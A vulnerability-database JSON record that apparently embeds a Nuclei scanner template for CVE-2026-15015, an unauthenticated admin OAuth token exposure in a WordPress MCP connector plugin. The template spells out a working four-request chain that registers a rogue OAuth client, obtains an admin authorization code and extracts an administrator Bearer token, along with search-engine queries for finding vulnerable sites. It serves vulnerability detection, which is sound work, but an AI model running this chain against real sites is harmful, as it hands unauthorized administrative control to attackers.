{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-15015/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-15015/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-15015/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-15015/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-15015/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-15015"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-15015"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-15015.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-15015\n\ninfo:\n  name: MountDev AI MCP Connector <= 1.6.1 - Unauthenticated Admin OAuth Token Exposure\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    MountDev AI MCP Connector for WordPress (mountdev-ai-mcp-connector) <= 1.6.1 is vulnerable to unauthenticated authorization bypass (CWE-862) via its OAuth 2.0 implementation. The plugin exposes a publicly accessible Dynamic Client Registration endpoint (/mcp-register) at WordPress init-level that allows any unauthenticated caller to register arbitrary OAuth clients. The subsequent authorization endpoint (/wp-json/mountdev-ai-mcp-connector/v1/oauth/authorize) then auto-approves the OAuth flow using the first WordPress administrator account found via get_users({role: administrator, number: 1}), issuing an admin-bound authorization code without checking who is making the request. Exchanging this code at /mcp-token yields a full Bearer token granting administrator-equivalent access to the MCP tool surface and all exposed WordPress content, users, options, and settings.\n  impact: |\n    Unauthenticated remote attackers can obtain Bearer tokens bound to a WordPress administrator account, granting complete administrative control via the MCP interface including read/write access to all posts, pages, users, plugins, themes, site settings, and database options.\n  remediation: |\n    Update the MountDev AI MCP Connector plugin to version 1.6.2 or later, which adds proper authorization checks to the Dynamic Client Registration and authorization endpoints.\n  reference:\n    - https://github.com/les-k/wp-secure-mcp\n    - https://plugins.trac.wordpress.org/browser/mountdev-ai-mcp-connector/tags/1.6.0/includes/class-oauth-controller.php#L370\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-15015\n    - https://www.rapid7.com/db/vulnerabilities/cve-2026-15015/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-15015\n    epss-score: 0.02647\n    epss-percentile: 0.85653\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: developer-developer-developer\n    product: mountdev-ai-mcp-connector\n    framework: wordpress\n    shodan-query: http.html:\"/wp-content/plugins/mountdev-ai-mcp-connector/\"\n    fofa-query: body=\"/wp-content/plugins/mountdev-ai-mcp-connector/\"\n    publicwww-query: \"/wp-content/plugins/mountdev-ai-mcp-connector/\"\n  tags: cve,cve2026,wordpress,wp-plugin,authorization-bypass,oauth,token-exposure,vkev\n\nvariables:\n  client_name: \"{{randstr}}\"\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/mountdev-ai-mcp-connector/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'contains(body, \"MCP Connector\")'\n          - 'compare_versions(plugin_version, \"<= 1.6.1\")'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: plugin_version\n        part: body\n        group: 1\n        regex:\n          - \"(?i)Stable tag:\\\\s*([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?)\"\n        internal: true\n\n  - raw:\n      - |\n        POST /mcp-register HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"redirect_uris\":[\"{{RootURL}}\"],\"client_name\":\"{{client_name}}\",\"token_endpoint_auth_method\":\"client_secret_post\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"client_id\") && contains(body, \"client_secret\")'\n          - 'status_code == 201'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: client_id\n        part: body\n        group: 1\n        regex:\n          - '\"client_id\"\\s*:\\s*\"([^\"]+)\"'\n        internal: true\n\n      - type: regex\n        name: client_secret\n        part: body\n        group: 1\n        regex:\n          - '\"client_secret\"\\s*:\\s*\"([^\"]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-json/mountdev-ai-mcp-connector/v1/oauth/authorize?client_id={{client_id}}&redirect_uri={{RootURL}}&response_type=code&scope=mcp HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(header, \"code=\")'\n          - 'status_code == 302'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: auth_code\n        part: header\n        group: 1\n        regex:\n          - \"code=([a-zA-Z0-9]+)\"\n        internal: true\n\n  - raw:\n      - |\n        POST /mcp-token HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        grant_type=authorization_code&code={{auth_code}}&client_id={{client_id}}&client_secret={{client_secret}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"access_token\") && contains(body, \"Bearer\")'\n          - 'contains(header, \"application/json\")'\n          - 'status_code == 200'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: access_token\n        part: body\n        group: 1\n        regex:\n          - '\"access_token\"\\s*:\\s*\"([^\"]+)\"'\n# digest: 4b0a004830460221008d330ad53c80759c12b0eef4c0bffc11b595c567d6f119e31bb001a89b8652ef022100dcab4d39389664fee2ac0f3b22786b89ac052e864e794e56107739dd29351c57:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-15015"
}